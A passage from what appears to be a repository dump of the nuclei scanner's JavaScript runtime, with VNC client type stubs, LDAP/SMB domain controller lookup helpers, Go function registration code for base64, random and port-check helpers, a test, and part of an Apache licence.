script\n     */\n    DNSDomainName?: string,\n    \n    /**\n     * DNS_Computer_Name from script (fqdn in script)\n     */\n    DNSComputerName?: string,\n    \n    /**\n     * DNS_Tree_Name from script (dns_forest_name in script)\n     */\n    DNSTreeName?: string,\n    \n    /**\n     * Product_Version from script\n     */\n    ProductVersion?: string,\n    \n    /**\n     * Raw timestamp for skew calculation\n     */\n    Timestamp?: number,\n}\n\n"
  },
  {
    "path": "pkg/js/generated/ts/vnc.ts",
    "content": "\n\n/**\n * IsVNC checks if a host is running a VNC server.\n * It returns a boolean indicating if the host is running a VNC server\n * and the banner of the VNC server.\n * @example\n * ```javascript\n * const vnc = require('nuclei/vnc');\n * const isVNC = vnc.IsVNC('acme.com', 5900);\n * log(toJSON(isVNC));\n * ```\n */\nexport function IsVNC(host: string, port: number): IsVNCResponse | null {\n    return null;\n}\n\n\n\n/**\n * IsVNCResponse is the response from the IsVNC function.\n * @example\n * ```javascript\n * const vnc = require('nuclei/vnc');\n * const isVNC = vnc.IsVNC('acme.com', 5900);\n * log(toJSON(isVNC));\n * ```\n */\nexport interface IsVNCResponse {\n    \n    IsVNC?: boolean,\n    \n    Banner?: string,\n}\n\n/**\n * VNCClient is a client for VNC servers.\n * @example\n * ```javascript\n * const vnc = require('nuclei/vnc');\n * const client = new vnc.VNCClient();\n * ```\n */\nexport class VNCClient {\n    \n\n    // Constructor of VNCClient\n    constructor() {}\n    \n    /**\n    * Connect connects to VNC server using given password.\n    * If connection and authentication is successful, it returns true.\n    * If connection or authentication is unsuccessful, it returns false and error.\n    * The connection is closed after the function returns.\n    * @example\n    * ```javascript\n    * const vnc = require('nuclei/vnc');\n    * const client = new vnc.VNCClient();\n    * const connected = client.Connect('acme.com', 5900, 'password');\n    * ```\n    */\n    public Connect(host: string, port: number, password: string): boolean | null {\n        return null;\n    }\n}\n\n"
  },
  {
    "path": "pkg/js/global/exports.js",
    "content": "exports = {\n  // General\n  dump_json: dump_json,\n  to_json: to_json,\n  to_array: to_array,\n  hex_to_ascii: hex_to_ascii,\n\n  // Active Directory\n  getDomainControllerName: getDomainControllerName,\n};\n"
  },
  {
    "path": "pkg/js/global/helpers.go",
    "content": "package global\n\nimport (\n\t\"encoding/base64\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nfunc registerAdditionalHelpers(runtime *goja.Runtime) {\n\t_ = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"atob\",\n\t\tSignatures: []string{\n\t\t\t\"atob(string) string\",\n\t\t},\n\t\tDescription: \"Base64 decodes a given string\",\n\t\tFuncDecl: func(call goja.FunctionCall) goja.Value {\n\t\t\tinput := call.Argument(0).String()\n\n\t\t\tdecoded, err := base64.StdEncoding.DecodeString(input)\n\t\t\tif err != nil {\n\t\t\t\treturn goja.Null()\n\t\t\t}\n\t\t\treturn runtime.ToValue(string(decoded))\n\t\t},\n\t})\n\n\t_ = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"btoa\",\n\t\tSignatures: []string{\n\t\t\t\"bota(string) string\",\n\t\t},\n\t\tDescription: \"Base64 encodes a given string\",\n\t\tFuncDecl: func(call goja.FunctionCall) goja.Value {\n\t\t\tinput := call.Argument(0).String()\n\t\t\tencoded := base64.StdEncoding.EncodeToString([]byte(input))\n\t\t\treturn runtime.ToValue(encoded)\n\t\t},\n\t})\n}\n\nfunc init() {\n\t// these are dummy functions we use trigger documentation generation\n\t// actual definitions are in exports.js\n\t_ = gojs.RegisterFuncWithSignature(nil, gojs.FuncOpts{\n\t\tName: \"to_json\",\n\t\tSignatures: []string{\n\t\t\t\"to_json(any) object\",\n\t\t},\n\t\tDescription: \"Converts a given object to JSON\",\n\t})\n\n\t_ = gojs.RegisterFuncWithSignature(nil, gojs.FuncOpts{\n\t\tName: \"dump_json\",\n\t\tSignatures: []string{\n\t\t\t\"dump_json(any)\",\n\t\t},\n\t\tDescription: \"Prints a given object as JSON in console\",\n\t})\n\n\t_ = gojs.RegisterFuncWithSignature(nil, gojs.FuncOpts{\n\t\tName: \"to_array\",\n\t\tSignatures: []string{\n\t\t\t\"to_array(any) array\",\n\t\t},\n\t\tDescription: \"Sets/Updates objects prototype to array to enable Array.XXX functions\",\n\t})\n\n\t_ = gojs.RegisterFuncWithSignature(nil, gojs.FuncOpts{\n\t\tName: \"hex_to_ascii\",\n\t\tSignatures: []string{\n\t\t\t\"hex_to_ascii(string) string\",\n\t\t},\n\t\tDescription: \"Converts a given hex string to ascii\",\n\t})\n\n}\n"
  },
  {
    "path": "pkg/js/global/js/active_directory.js",
    "content": "// getDomainControllerName returns the domain controller\n// name for a host.\n//\n// If the name is not empty, it is returned.\n// Otherwise, the host is used to query the domain controller name.\n// from SMB, LDAP, etc\nfunction getDomainControllerName(name, host) {\n  if (name != \"\") {\n    return name;\n  }\n\n  // First try LDAP and then SMB\n  try {\n    var name = getDomainControllerNameByLDAP(host);\n    if (name != \"\") {\n      return name;\n    }\n  } catch (e) {\n    console.log(\"[ldap] Error getting domain controller name\", e);\n  }\n\n  try {\n    var name = getDomainControllerNameBySMB(host);\n    if (name != \"\") {\n      return name;\n    }\n  } catch (e) {\n    console.log(\"[smb] Error getting domain controller name\", e);\n  }\n\n  return \"\";\n}\n\nfunction getDomainControllerNameBySMB(host) {\n  const s = require(\"nuclei/libsmb\");\n  const sc = s.Client();\n  var list = sc.ListSMBv2Metadata(host, 445);\n  if (!list) {\n    return \"\";\n  }\n  if (list && list.DNSDomainName != \"\") {\n    console.log(\"[smb] Got domain controller\", list.DNSDomainName);\n    return list.DNSDomainName;\n  }\n}\n\nfunction getDomainControllerNameByLDAP(host) {\n  const l = require(\"nuclei/libldap\");\n  const lc = l.Client();\n  var list = lc.CollectLdapMetadata(\"\", host);\n  if (!list) {\n    return \"\";\n  }\n  if (list && list.domain != \"\") {\n    console.log(\"[ldap] Got domain controller\", list.domain);\n    return list.domain;\n  }\n}\n"
  },
  {
    "path": "pkg/js/global/js/dump.js",
    "content": "// dump_json dumps the data as JSON to the console.\n// It returns beautified JSON.\nfunction dump_json(data) {\n  console.log(JSON.stringify(data, null, 2));\n}\n\n// to_json returns beautified JSON.\nfunction to_json(data) {\n  return JSON.stringify(data, null, 2);\n}\n\n// to_array sets object type as array\nfunction to_array(data) {\n  return Object.setPrototypeOf(data, Array.prototype);\n}\n\n// hex_to_ascii converts a hex string to ascii.\nfunction hex_to_ascii(str1) {\n  var hex = str1.toString();\n  var str = \"\";\n  for (var n = 0; n < hex.length; n += 2) {\n    str += String.fromCharCode(parseInt(hex.substr(n, 2), 16));\n  }\n  return str;\n}\n"
  },
  {
    "path": "pkg/js/global/scripts.go",
    "content": "package global\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/rand\"\n\t\"embed\"\n\t\"math/big\"\n\t\"net\"\n\t\"reflect\"\n\t\"time\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/logrusorgru/aurora\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\nvar (\n\t//go:embed js\n\tembedFS embed.FS\n\n\t//go:embed exports.js\n\texports string\n\t// knownPorts is a list of known ports for protocols implemented in nuclei\n\tknowPorts = []string{\"80\", \"443\", \"8080\", \"8081\", \"8443\", \"53\"}\n)\n\n// default imported modules\n// there might be other methods to achieve this\n// but this is most straightforward\nvar (\n\tdefaultImports = `\n\t  var structs = require(\"nuclei/structs\");\n\t  var bytes = require(\"nuclei/bytes\");\n\t`\n)\n\n// initBuiltInFunc initializes runtime with builtin functions\nfunc initBuiltInFunc(runtime *goja.Runtime) {\n\n\t_ = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName:        \"Rand\",\n\t\tSignatures:  []string{\"Rand(n int) []byte\"},\n\t\tDescription: \"Rand returns a random byte slice of length n\",\n\t\tFuncDecl: func(n int) []byte {\n\t\t\tb := make([]byte, n)\n\t\t\tif _, err := rand.Read(b); err != nil {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\treturn b\n\t\t},\n\t})\n\n\t_ = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName:        \"RandInt\",\n\t\tSignatures:  []string{\"RandInt() int\"},\n\t\tDescription: \"RandInt returns a random int\",\n\t\tFuncDecl: func() int64 {\n\t\t\tn, err := rand.Int(rand.Reader, new(big.Int).SetInt64(1<<63-1))\n\t\t\tif err != nil {\n\t\t\t\treturn 0\n\t\t\t}\n\t\t\treturn n.Int64()\n\t\t},\n\t})\n\n\t_ = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"log\",\n\t\tSignatures: []string{\n\t\t\t\"log(msg string)\",\n\t\t\t\"log(msg map[string]interface{})\",\n\t\t},\n\t\tDescription: \"log prints given input to stdout with [JS] prefix for debugging purposes \",\n\t\tFuncDecl: func(call goja.FunctionCall) goja.Value {\n\t\t\targ := call.Argument(0).Export()\n\t\t\tswitch value := arg.(type) {\n\t\t\tcase string:\n\t\t\t\tgologger.DefaultLogger.Print().Msgf(\"[%v] %v\", aurora.BrightCyan(\"JS\"), value)\n\t\t\tcase map[string]interface{}:\n\t\t\t\tgologger.DefaultLogger.Print().Msgf(\"[%v] %v\", aurora.BrightCyan(\"JS\"), vardump.DumpVariables(value))\n\t\t\tdefault:\n\t\t\t\tgologger.DefaultLogger.Print().Msgf(\"[%v] %v\", aurora.BrightCyan(\"JS\"), value)\n\t\t\t}\n\t\t\treturn call.Argument(0)\n\t\t},\n\t})\n\n\t_ = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"getNetworkPort\",\n\t\tSignatures: []string{\n\t\t\t\"getNetworkPort(port string, defaultPort string) string\",\n\t\t},\n\t\tDescription: \"getNetworkPort registers defaultPort and returns defaultPort if it is a colliding port with other protocols\",\n\t\tFuncDecl: func(call goja.FunctionCall) goja.Value {\n\t\t\tinputPort := call.Argument(0).String()\n\t\t\tif inputPort == \"\" || stringsutil.EqualFoldAny(inputPort, knowPorts...) {\n\t\t\t\t// if inputPort is empty or a know port of other protocol\n\t\t\t\t// return given defaultPort\n\t\t\t\treturn call.Argument(1)\n\t\t\t}\n\t\t\treturn call.Argument(0)\n\t\t},\n\t})\n\n\t// is port open check is port is actually open\n\t// it can be invoked as isPortOpen(host, port, [timeout])\n\t// where timeout is optional and defaults to 5 seconds\n\t_ = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"isPortOpen\",\n\t\tSignatures: []string{\n\t\t\t\"isPortOpen(host string, port string, [timeout int]) bool\",\n\t\t},\n\t\tDescription: \"isPortOpen checks if given TCP port is open on host. timeout is optional and defaults to 5 seconds\",\n\t\tFuncDecl: func(ctx context.Context, host string, port string, timeout ...int) (bool, error) {\n\t\t\tif len(timeout) > 0 {\n\t\t\t\tvar cancel context.CancelFunc\n\t\t\t\tctx, cancel = context.WithTimeout(ctx, time.Duration(timeout[0])*time.Second)\n\t\t\t\tdefer cancel()\n\t\t\t}\n\t\t\tif host == \"\" || port == \"\" {\n\t\t\t\treturn false, errkit.New(\"isPortOpen: host or port is empty\")\n\t\t\t}\n\n\t\t\texecutionId := ctx.Value(\"executionId\").(string)\n\t\t\tdialer := protocolstate.GetDialersWithId(executionId)\n\t\t\tif dialer == nil {\n\t\t\t\tpanic(\"dialers with executionId \" + executionId + \" not found\")\n\t\t\t}\n\n\t\t\tconn, err := dialer.Fastdialer.Dial(ctx, \"tcp\", net.JoinHostPort(host, port))\n\t\t\tif err != nil {\n\t\t\t\treturn false, err\n\t\t\t}\n\t\t\t_ = conn.Close()\n\t\t\treturn true, nil\n\t\t},\n\t})\n\n\t_ = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"isUDPPortOpen\",\n\t\tSignatures: []string{\n\t\t\t\"isUDPPortOpen(host string, port string, [timeout int]) bool\",\n\t\t},\n\t\tDescription: \"isUDPPortOpen checks if the given UDP port is open on the host. Timeout is optional and defaults to 5 seconds.\",\n\t\tFuncDecl: func(ctx context.Context, host string, port string, timeout ...int) (bool, error) {\n\t\t\tif len(timeout) > 0 {\n\t\t\t\tvar cancel context.CancelFunc\n\t\t\t\tctx, cancel = context.WithTimeout(ctx, time.Duration(timeout[0])*time.Second)\n\t\t\t\tdefer cancel()\n\t\t\t}\n\t\t\tif host == \"\" || port == \"\" {\n\t\t\t\treturn false, errkit.New(\"isPortOpen: host or port is empty\")\n\t\t\t}\n\n\t\t\texecutionId := ctx.Value(\"executionId\").(string)\n\t\t\tdialer := protocolstate.GetDialersWithId(executionId)\n\t\t\tif dialer == nil {\n\t\t\t\tpanic(\"dialers with executionId \" + executionId + \" not found\")\n\t\t\t}\n\n\t\t\tconn, err := dialer.Fastdialer.Dial(ctx, \"udp\", net.JoinHostPort(host, port))\n\t\t\tif err != nil {\n\t\t\t\treturn false, err\n\t\t\t}\n\t\t\t_ = conn.Close()\n\t\t\treturn true, nil\n\t\t},\n\t})\n\n\t_ = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"ToBytes\",\n\t\tSignatures: []string{\n\t\t\t\"ToBytes(...interface{}) []byte\",\n\t\t},\n\t\tDescription: \"ToBytes converts given input to byte slice\",\n\t\tFuncDecl: func(call goja.FunctionCall) goja.Value {\n\t\t\tvar buff bytes.Buffer\n\t\t\tallVars := []any{}\n\t\t\tfor _, v := range call.Arguments {\n\t\t\t\tif v.Export() == nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif v.ExportType().Kind() == reflect.Slice {\n\t\t\t\t\t// convert []datatype to []interface{}\n\t\t\t\t\t// since it cannot be type asserted to []interface{} directly\n\t\t\t\t\trfValue := reflect.ValueOf(v.Export())\n\t\t\t\t\tfor i := 0; i < rfValue.Len(); i++ {\n\t\t\t\t\t\tallVars = append(allVars, rfValue.Index(i).Interface())\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tallVars = append(allVars, v.Export())\n\t\t\t\t}\n\t\t\t}\n\t\t\tfor _, v := range allVars {\n\t\t\t\tbuff.WriteString(types.ToString(v))\n\t\t\t}\n\t\t\treturn runtime.ToValue(buff.Bytes())\n\t\t},\n\t})\n\n\t_ = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\tName: \"ToString\",\n\t\tSignatures: []string{\n\t\t\t\"ToString(...interface{}) string\",\n\t\t},\n\t\tDescription: \"ToString converts given input to string\",\n\t\tFuncDecl: func(call goja.FunctionCall) goja.Value {\n\t\t\tvar buff bytes.Buffer\n\t\t\tfor _, v := range call.Arguments {\n\t\t\t\texported := v.Export()\n\t\t\t\tif exported != nil {\n\t\t\t\t\tbuff.WriteString(types.ToString(exported))\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn runtime.ToValue(buff.String())\n\t\t},\n\t})\n\n\t// register additional helpers\n\tregisterAdditionalHelpers(runtime)\n}\n\n// RegisterNativeScripts are js scripts that were added for convenience\n// and abstraction purposes we execute them in every runtime and make them\n// available for use in any js script\n// see: scripts/ for examples\nfunc RegisterNativeScripts(runtime *goja.Runtime) error {\n\tinitBuiltInFunc(runtime)\n\n\tdirs, err := embedFS.ReadDir(\"js\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, dir := range dirs {\n\t\tif dir.IsDir() {\n\t\t\tcontinue\n\t\t}\n\t\t// embeds have / as path separator (on all os)\n\t\tcontents, err := embedFS.ReadFile(\"js\" + \"/\" + dir.Name())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// run all built in js helper functions or scripts\n\t\t_, err = runtime.RunString(string(contents))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t// exports defines the exports object\n\t_, err = runtime.RunString(exports)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// import default modules\n\t_, err = runtime.RunString(defaultImports)\n\tif err != nil {\n\t\treturn errkit.Wrapf(err, \"could not import default modules %v\", defaultImports)\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/js/global/scripts_test.go",
    "content": "package global\n\nimport (\n\t\"testing\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/Mzack9999/goja_nodejs/console\"\n\t\"github.com/Mzack9999/goja_nodejs/require\"\n)\n\nfunc TestScriptsRuntime(t *testing.T) {\n\tdefaultImports = \"\"\n\truntime := goja.New()\n\n\tregistry := new(require.Registry)\n\tregistry.Enable(runtime)\n\tconsole.Enable(runtime)\n\n\terr := RegisterNativeScripts(runtime)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tvalue, err := runtime.RunString(\"dump_json({a: 1, b: 2})\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\t_ = value\n}\n"
  },
  {
    "path": "pkg/js/gojs/gojs.go",
    "content": "package gojs\n\nimport (\n\t\"context\"\n\t\"maps\"\n\t\"reflect\"\n\t\"sync\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/Mzack9999/goja_nodejs/require\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/utils\"\n)\n\ntype Objects map[string]interface{}\n\ntype Runtime interface {\n\tSet(string, interface{}) error\n}\n\ntype Object interface {\n\tSet(string, interface{})\n\tGet(string) interface{}\n}\n\ntype Module interface {\n\tName() string\n\tSet(objects Objects) Module\n\tEnable(Runtime)\n\tRegister() Module\n}\n\ntype GojaModule struct {\n\tname string\n\tsets map[string]interface{}\n\tonce sync.Once\n}\n\nfunc NewGojaModule(name string) Module {\n\treturn &GojaModule{\n\t\tname: name,\n\t\tsets: make(map[string]interface{}),\n\t}\n}\n\nfunc (p *GojaModule) String() string {\n\treturn p.name\n}\n\nfunc (p *GojaModule) Name() string {\n\treturn p.name\n}\n\n// wrapModuleFunc wraps a Go function with context injection for modules\n// nolint\nfunc wrapModuleFunc(runtime *goja.Runtime, fn interface{}) interface{} {\n\tfnType := reflect.TypeOf(fn)\n\tif fnType.Kind() != reflect.Func {\n\t\treturn fn\n\t}\n\n\t// Only wrap if first parameter is context.Context\n\tif fnType.NumIn() == 0 || fnType.In(0) != reflect.TypeFor[context.Context]() {\n\t\treturn fn // Return original function unchanged if it doesn't have context.Context as first arg\n\t}\n\n\t// Create input and output type slices\n\tinTypes := make([]reflect.Type, fnType.NumIn())\n\tfor i := 0; i < fnType.NumIn(); i++ {\n\t\tinTypes[i] = fnType.In(i)\n\t}\n\toutTypes := make([]reflect.Type, fnType.NumOut())\n\tfor i := 0; i < fnType.NumOut(); i++ {\n\t\toutTypes[i] = fnType.Out(i)\n\t}\n\n\t// Create a new function with same signature\n\tnewFnType := reflect.FuncOf(inTypes, outTypes, fnType.IsVariadic())\n\tnewFn := reflect.MakeFunc(newFnType, func(args []reflect.Value) []reflect.Value {\n\t\t// Get context from runtime\n\t\tvar ctx context.Context\n\t\tif ctxVal := runtime.Get(\"context\"); ctxVal != nil {\n\t\t\tif ctxObj, ok := ctxVal.Export().(context.Context); ok {\n\t\t\t\tctx = ctxObj\n\t\t\t}\n\t\t}\n\t\tif ctx == nil {\n\t\t\tctx = context.Background()\n\t\t}\n\n\t\t// Add execution ID to context if available\n\t\tif execID := runtime.Get(\"executionId\"); execID != nil {\n\t\t\t//nolint\n\t\t\tctx = context.WithValue(ctx, \"executionId\", execID.String())\n\t\t}\n\n\t\t// Replace first argument (context) with our context\n\t\targs[0] = reflect.ValueOf(ctx)\n\n\t\t// Call original function with modified arguments\n\t\treturn reflect.ValueOf(fn).Call(args)\n\t})\n\n\treturn newFn.Interface()\n}\n\nfunc (p *GojaModule) Set(objects Objects) Module {\n\tmaps.Copy(p.sets, objects)\n\treturn p\n}\n\nfunc (p *GojaModule) Require(runtime *goja.Runtime, module *goja.Object) {\n\to := module.Get(\"exports\").(*goja.Object)\n\n\tfor k, v := range p.sets {\n\t\t_ = o.Set(k, v)\n\t}\n}\n\nfunc (p *GojaModule) Enable(runtime Runtime) {\n\t_ = runtime.Set(p.Name(), require.Require(runtime.(*goja.Runtime), p.Name()))\n}\n\nfunc (p *GojaModule) Register() Module {\n\tp.once.Do(func() {\n\t\trequire.RegisterNativeModule(p.Name(), p.Require)\n\t})\n\n\treturn p\n}\n\n// GetClassConstructor returns a constructor for any given go struct type for goja runtime\nfunc GetClassConstructor[T any](instance *T) func(call goja.ConstructorCall, runtime *goja.Runtime) *goja.Object {\n\treturn func(call goja.ConstructorCall, runtime *goja.Runtime) *goja.Object {\n\t\treturn utils.LinkConstructor[*T](call, runtime, instance)\n\t}\n}\n"
  },
  {
    "path": "pkg/js/gojs/set.go",
    "content": "package gojs\n\nimport (\n\t\"context\"\n\t\"reflect\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\nvar (\n\tErrInvalidFuncOpts = errkit.New(\"invalid function options\")\n\tErrNilRuntime      = errkit.New(\"runtime is nil\")\n)\n\ntype FuncOpts struct {\n\tName        string\n\tSignatures  []string\n\tDescription string\n\tFuncDecl    interface{}\n}\n\n// valid checks if the function options are valid\nfunc (f *FuncOpts) valid() bool {\n\treturn f.Name != \"\" && f.FuncDecl != nil && len(f.Signatures) > 0 && f.Description != \"\"\n}\n\n// wrapWithContext wraps a Go function with context injection\n// nolint\nfunc wrapWithContext(runtime *goja.Runtime, fn interface{}) interface{} {\n\tfnType := reflect.TypeOf(fn)\n\tif fnType.Kind() != reflect.Func {\n\t\treturn fn\n\t}\n\n\t// Only wrap if first parameter is context.Context\n\tif fnType.NumIn() == 0 || fnType.In(0) != reflect.TypeFor[context.Context]() {\n\t\treturn fn // Return original function unchanged if it doesn't have context.Context as first arg\n\t}\n\n\t// Create input and output type slices\n\tinTypes := make([]reflect.Type, fnType.NumIn())\n\tfor i := 0; i < fnType.NumIn(); i++ {\n\t\tinTypes[i] = fnType.In(i)\n\t}\n\toutTypes := make([]reflect.Type, fnType.NumOut())\n\tfor i := 0; i < fnType.NumOut(); i++ {\n\t\toutTypes[i] = fnType.Out(i)\n\t}\n\n\t// Create a new function with same signature\n\tnewFnType := reflect.FuncOf(inTypes, outTypes, fnType.IsVariadic())\n\tnewFn := reflect.MakeFunc(newFnType, func(args []reflect.Value) []reflect.Value {\n\t\t// Get context from runtime\n\t\tvar ctx context.Context\n\t\tif ctxVal := runtime.Get(\"context\"); ctxVal != nil {\n\t\t\tif ctxObj, ok := ctxVal.Export().(context.Context); ok {\n\t\t\t\tctx = ctxObj\n\t\t\t}\n\t\t}\n\t\tif ctx == nil {\n\t\t\tctx = context.Background()\n\t\t}\n\n\t\t// Add execution ID to context if available\n\t\tif execID := runtime.Get(\"executionId\"); execID != nil {\n\t\t\tctx = context.WithValue(ctx, \"executionId\", execID.String())\n\t\t}\n\n\t\t// Replace first argument (context) with our context\n\t\targs[0] = reflect.ValueOf(ctx)\n\n\t\t// Call original function with modified arguments\n\t\treturn reflect.ValueOf(fn).Call(args)\n\t})\n\n\treturn newFn.Interface()\n}\n\n// RegisterFunc registers a function with given name, signatures and description\nfunc RegisterFuncWithSignature(runtime *goja.Runtime, opts FuncOpts) error {\n\tif runtime == nil {\n\t\treturn ErrNilRuntime\n\t}\n\tif !opts.valid() {\n\t\treturn errkit.Newf(\"invalid function options: name: %s, signatures: %v, description: %s\", opts.Name, opts.Signatures, opts.Description)\n\t}\n\n\t// Wrap the function with context injection\n\t// wrappedFn := wrapWithContext(runtime, opts.FuncDecl)\n\treturn runtime.Set(opts.Name, opts.FuncDecl /* wrappedFn */)\n}\n"
  },
  {
    "path": "pkg/js/libs/LICENSE.md",
    "content": "                                 Apache License\n                           Version 2.0, January 2004\n                        http://www.apache.org/licenses/\n\n   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n   1. Definitions.\n\n      \"License\" shall mean the terms and conditions for use, reproduction,\n      and distribution as defined by Sections 1 through 9 of this document.\n\n      \"Licensor\" shall mean the copyright owner or entity authorized by\n      the copyright owner that is granting the License.\n\n      \"Legal Entity\" shall mean the union of the acting entity and all\n      other entities that control, are controlled by, or are under common\n      control with that entity. For the purposes of this definition,\n      \"control\" means (i) the power, direct or indirect, to cause the\n      direction or management of such entity, whether by contract or\n      otherwise, or (ii) ownership of fifty percent (50%) or more of the\n      outstanding shares, or (iii) beneficial ownership of such entity.\n\n      \"You\" (or \"Your\") shall mean an individual or Legal Entity\n      exercising permissions granted by this License.\n\n      \"Source\" form shall mean the preferred form for making modifications,\n      including but not limited to software source code, documentation\n      source, and configuration files.\n\n      \"Object\" form shall mean any form resulting from mechanical\n      transformation or translation of a Source form, including but\n      not limited to compiled object code, generated documentation,\n      and conversions to other media types.\n\n      \"Work\" shall mean the work of authorship, whether in Source or\n      Object form, made available under the License, as indicated by a\n      copyright notice that is included in or attached to the work\n      (an example is provided in the Appendix below).\n\n      \"Derivative Works\" shall mean any work, whether in Source or Object\n      form, that is based on (or derived from) the Work and for which the\n      editorial revisions, annotations, elaborations, or other modifications\n      represent, as a whole, an original work of authorship. For the purposes\n      of this License, Derivative Works shall not include works that remain\n      separable from, or merely link (or bind by name) to the interfaces of,\n      the Work and Derivative Works thereof.\n\n      \"Contribution\" shall mean any work of authorship, including\n      the original version of the Work and any modifications or additions\n      to that Work or Derivative Works thereof, that is intentionally\n      submitted to Licensor for inclusion in the Work by the copyright owner\n      or by an individual or Legal Entity authorized to submit on behalf of\n      the copyright owner. For the purposes of this definition, \"submitted\"\n      means any form of electronic, verbal, or written communication sent\n      to the Licensor or its representatives, including but not limited to\n      communication on electronic mailing lists, source code control systems,\n      and issue tracking systems that are managed by, or on behalf of, the\n      Licensor for the purpose of discussing and improving the Work, but\n      excluding communication that is conspicuously marked or otherwise\n      designated in writing by the copyright owner as \"Not a Contribution.\"\n\n      \"Contributor\" shall mean Licensor and any individual or Legal Entity\n      on behalf of whom a Contribution has been received by Licensor and\n      subsequently incorporated within the Work.\n\n   2. Grant of Copyright License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      copyright license to reproduce, prepare Derivative Works of,\n      publicly display, publicly perform, sublicense, and distribute the\n      Work and such Derivative Works in Source or Object form.\n\n   3. Grant of Patent License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      (except as stated in this section) patent license to make, have made,\n      use, offer to sell, sell, import, and otherwise transfer the Work,\n      where such license applies only to those patent claims licensable\n      by such Contributor that are necessarily infringed by their\n      Contribution(s) alone or by combination of their Contribution(s)\n      with the Work to which such Contribution(s) was submitted. If You\n      institute patent litigation against any entity (including a\n      cross-claim or counterclaim in a lawsuit) alleging that the Work\n      or a Contribution incorporated within the Work constitutes direct\n      or contributory patent infringement, then any patent licenses\n      granted to You under this License for that Work shall terminate\n      as of the date such litigation is filed.\n\n   4. Redistribution. You may reproduce and distribute copies of the\n      Work or Derivative Works thereof in any medium, with or without\n      modifications, and in Source or Object form, provided that You\n      meet the following conditions:\n\n      (a) You must give any other recipients of the Work or\n          Derivative Works a copy of this License; and\n\n      (b) You must cause any modified files to carry prominent notices\n          stating that You changed the files; and\n\n      (c) You must retain, in the Source form of any Derivative Works\n          that You distribute, all copyright, patent, trademark, and\n          attribution notices from the Source form of the Work,\n          excluding those notices that do not pertain to any part of\n          the Derivative Works; and\n\n      (d) If the Work includes a \"NOTICE\" text file as part of its\n          distribution, then any Derivative Works that You distribute must\n          include a readable copy of the attribution notices contained\n          within such NOTICE file, excluding those notices that do not\n          pertain to any part of the Derivative Works, in at least one\n          of the following places: within a NOTICE text file distributed\n          as part of the Derivative Works; within the Source form or\n          documentation, if provided along with the Derivative Works; or,\n          within a display generated by the Derivative Works, if and\n          wherever such third-party notices normally appear. The contents\n          of the NOTICE file are for informational purposes only and\n          do not modify the License. You may add Your own attribution\n          notices within Derivative Works that You distribute, alongside\n          or as an addendum to the NOTICE text from the Work, provided\n          that such additional attribution notices cannot be construed\n          as modifying the License.\n\n      You may add Your own copyright statement to Your modifications and\n      may provide additional or different license terms and conditions\n      for use, reproduction, or distribution of Your modifications, or\n      for any such Derivative Works as a whole, provided Your use,\n      reproduction, and distribution of the Work otherwise complies with\n      the conditions stated in this License.\n\n   5. Submission of Contributions. Unless You explicitly state otherwise,\n      any Contribution intentionally submitted for inclusion in the Work\n      by You to the Licensor shall be under the terms and conditions of\n      this License, without any additional terms or conditions.\n      Notwithstanding the above, nothing herein shall supersede or modify\n      the terms of any separate license agreement you may have executed\n      with Licensor regarding such Contributions.\n\n   6. Trademarks. This License does not grant permission to use the trade\n      names, trademarks, service marks, or product names of the Licensor,\n      except as required for reasonable and customary use in describing the\n      origin of the Work and reproducing the content of the NOTICE file.\n\n   7. Disclaimer of Warranty. Unless required by applicable law or\n      agreed to in writing, Licensor provides the Work (and each\n      Contributor provides its Contributions) on an \"AS IS\" BASIS,\n      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n      implied, including, without limitation, any warranties or conditions\n      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n      PARTICULAR PURPOSE. You are solely responsible for determining the\n      appropriateness of using or redistributing the Work and assume any\n      risks associated with 